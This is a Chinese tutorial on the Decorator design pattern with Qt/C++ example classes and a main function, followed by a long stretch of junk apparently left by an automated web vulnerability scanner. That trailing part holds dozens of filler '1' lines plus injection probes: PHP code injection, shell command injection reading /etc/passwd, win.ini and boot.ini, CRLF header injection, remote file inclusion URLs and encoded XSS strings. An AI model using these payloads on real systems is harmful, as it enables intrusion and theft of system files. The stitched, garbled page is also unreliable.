介绍
- Component抽象构件
Component是一个接口或者是抽象类, 就是定义我们最核心的对象, 也就是最原始的对象, 如上面的成绩单。 - ConcreteComponent 具体构件
ConcreteComponent是最核心、 最原始、 最基本的接口或抽象类的实现, 你要装饰的就是它。 - Decorator装饰角色
在它的属性里必然有一个private变量指向Component抽象构件。若只有一个装饰类,则可以没有抽象装饰角色,直接实现具体的装饰角色即可。 - ConcreteDecorator具体装饰角色
要把最核心的、 最原始的、 最基本的东西装饰成其他东西。
原始方法和装饰方法的执行顺序在具体的装饰类是固定的, 可以通过方法重载实现多种执行顺序。
优点: 装饰类和被装饰类可以独立发展, 而不会相互耦合; 装饰模式是继承关系的一个替代方案; 装饰模式可以动态地扩展一个实现类的功能
缺点: 多层的装饰是比较复杂的, 尽量减少装饰类的数量, 以便降低系统的复杂度
应用:
- 需要扩展一个类的功能, 或给一个类增加附加功能。
- 需要动态地给一个对象增加功能, 这些功能可以再动态地撤销。
- 需要为一批的兄弟类进行改装或加装功能, 当然是首选装饰模式。
范例
抽象构件
#ifndef COMPONENT_H #define COMPONENT_H class Component { //抽象的构件 public: virtual void operate() = 0; }; #endif // COMPONENT_H
具体构件
#ifndef CONCRETECOMPONENT_H #define CONCRETECOMPONENT_H #include "component.h" #include <QDebug> class ConcreteComponent : public Component { public: void operate() override { qDebug()<<"ConcreteComponent do Something"; } }; #endif // CONCRETECOMPONENT_H
抽象装饰角色
#ifndef DECORATOR_H #define DECORATOR_H #include "component.h" class Decorator : public Component { //通过构造函数传递被修饰者 public: Decorator(Component *component){ component_ = component; } //委托给被修饰者执行 void operate() override { component_->operate(); } private: Component *component_ = nullptr; }; #endif // DECORATOR_H
具体装饰角色
#ifndef CONCRETEDECORATOR_H #define CONCRETEDECORATOR_H #include <QDebug> #include "decorator.h" class ConcreteDecorator1 : public Decorator { public: ConcreteDecorator1(Component *component) : Decorator(component) { } //重写父类的Operation方法 void operate() override { method1(); Decorator::operate(); } private: //定义自己的修饰方法 void method1(){ qDebug()<<"method1 of Decorator1"; } }; class ConcreteDecorator2 : public Decorator { public: ConcreteDecorator2(Component *component) : Decorator(component) { } //重写父类的Operation方法 void operate() override { method1(); Decorator::operate(); } private: //定义自己的修饰方法 void method1(){ qDebug()<<"method1 of Decorator2"; } }; #endif // CONCRETEDECORATOR_H
main
#include "concretecomponent.h" #include "concretedecorator.h" int main(int argc, char *argv[]) { Component *component = new ConcreteComponent(); //第一次修饰 component = new ConcreteDecorator1(component); //第二次修饰 component = new ConcreteDecorator2(component); //修饰后运行 component->operate(); }
例子又忘了delete。。。每个例子到最后main都忘了delete
结果
method1 of Decorator2 method1 of Decorator1 ConcreteComponent do Something
源码GitHub:CppDesignPattern
相关链接:C++设计模式
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
php://input.
print 28763*4196403;
‘;print 28763*4196403;#
“;print 28763*4196403;#
;print 28763*4196403;
| type %SystemRoot%\win.ini |
&& type %SystemRoot%\win.ini &&
type %SystemRoot%\win.ini
| type %SystemDrive%\boot.ini |
&& type %SystemDrive%\boot.ini &&
type %SystemDrive%\boot.ini
| /bin/cat /etc/master.passwd |
&& /bin/cat /etc/master.passwd &&
/bin/cat /etc/master.passwd
| /bin/cat /etc/security/passwd |
&& /bin/cat /etc/security/passwd &&
/bin/cat /etc/security/passwd
| /bin/cat /etc/passwd |
&& /bin/cat /etc/passwd &&
/bin/cat /etc/passwd
1<!–
1]]]]]]]]]
1
X-CRLF-Safe-77d60f8f391250429a8ddcb19fe53a3a: no
1
http://www.77d60f8f391250429a8ddcb19fe53a3a.com//?
1
https://www.77d60f8f391250429a8ddcb19fe53a3a.com//?
1hTtP://webscan.guanxingtai.net/rfi.md5.txt
webscan.guanxingtai.net/rfi.md5.txt
http://webscan.guanxingtai.net/rfi.md5.txt
1
1
1
1
1
1
1
1
1
1
1
1%28%29%22%26%251%27-%3B%3Cxss_77d60f8f391250429a8ddcb19fe53a3a%2F%3E%27
1
1%3Cxss_77d60f8f391250429a8ddcb19fe53a3a%2F%3E
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1